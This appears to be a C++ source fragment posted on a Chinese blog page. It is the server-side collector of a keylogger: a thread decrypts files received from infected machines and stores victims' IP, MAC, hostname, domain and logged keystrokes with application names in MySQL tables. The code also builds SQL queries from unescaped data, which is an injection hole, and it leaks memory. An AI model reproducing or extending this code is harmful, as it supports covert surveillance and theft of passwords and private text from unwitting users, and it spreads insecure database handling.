bool CThreadManage::isEmpty()
{
 bool result=false;
 EnterCriticalSection(&this->DealDataCriticalSection);
 if(QueueSaveListenInfo.empty())
 {
  result = true;
 } 
 //cout<<QueueSaveListenInfo.size()<<endl;
 LeaveCriticalSection(&this->DealDataCriticalSection); 
 return result;
}


unsigned __stdcall FileResolveAndStorage(void* pArguments)
{
 CThreadManage* tmpthis = (CThreadManage*)pArguments; 
 while(1)
 { 
  WaitForSingleObject(tmpthis->hStorageEvent,INFINITE);

  if(!tmpthis->m_filepath.empty())
  {

   EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
   RECEIVED_FILE_DATA tmpFileData = tmpthis->m_filepath.front();
   tmpthis->m_filepath.pop();
   LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
   Sleep(10);
   CFile file;
   //PC Information
   if(tmpFileData.fileType == "dat")
   {
     CString strIp("");
     CString strMac("");
     CString strHostName("");
     CString strDomain("");
     if(file.Open(tmpFileData.fileName,CFile::modeRead|CFile::typeBinary))
     {
     AfxMessageBox(tmpFileData.fileName);
     //從文件中讀取文件內容
      char *buf=new char[file.GetLength()]; 
      memset(buf,0,file.GetLength());
      file.Read(buf,file.GetLength());
     //解密文件內容
      DisposeData dis;
      dis.SetValue(buf);
      CString str;
      str = dis.ProcessDecode();
      file.Close();
      dis.GetPCInfo(str,strIp,strMac,strHostName,strDomain);
      CString strSql("");
      strSql.Format("insert into pcinformations(ip,mac,hostName,domain)\
       values('%s','%s','%s','%s')",strIp,strMac,strHostName,strDomain);
      //上傳數據庫
      tmpthis->dealData.ControlDataInsertOrRead(strSql);
      remove(tmpFileData.fileName);
     }
     else
     {
      MessageBox(0,tmpFileData.fileName,"dat",0);
     }
   }
   //kRecord content
   else if(tmpFileData.fileType == "tmp")
   {
     CString fileName("");
     CString strMac("");
     CString strTime("");
     CString strAppName("");
     CString strRecordInfo("");
     if(file.Open(tmpFileData.fileName,CFile::modeRead|CFile::typeBinary))
     {
       DisposeData dis;
       fileName = tmpFileData.fileName;
       int start = -1;
       while((start = fileName.Find('\\')) != -1)
       {
        fileName = fileName.Right(fileName.GetLength()-start-1);
       }
       start = fileName.Find('.');
       if(start != -1)
        fileName = fileName.Left(start);
     //解密文件名
       dis.SetValue(fileName.GetBuffer(0));
       fileName.ReleaseBuffer();
       fileName = dis.DecryptFileName();
     //取出文件名中的內容
       dis.GetFileNameInfo(fileName,strMac,strTime);
      
      char *buf=new char[file.GetLength()]; 
      memset(buf,0,file.GetLength());
      file.Read(buf,file.GetLength());
      
      //解密文件內容
      dis.SetValue(buf);
      CString str;
      str = dis.ProcessDecode();
      file.Close();
      dis.GetRecordInfo(str,strAppName,strRecordInfo);
      CString strSql("");
      strSql.Format("insert into keyboardrecorderinformations(mac,time,appName,recordInfo)\
           values('%s','%s','%s','%s')",strMac,strTime,strAppName,strRecordInfo);
      //上傳MYSQL
      tmpthis->dealData.ControlDataInsertOrRead(strSql);
      remove(tmpFileData.fileName);
     }
     else
     {
      MessageBox(0,tmpFileData.fileName,"tmp",0);
     }
   }
   else
   { 
    remove(tmpFileData.fileName);
   }
   
  }
  else
  {   
   ResetEvent(tmpthis->hStorageEvent);   
  }
 }
 return 0;
}

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章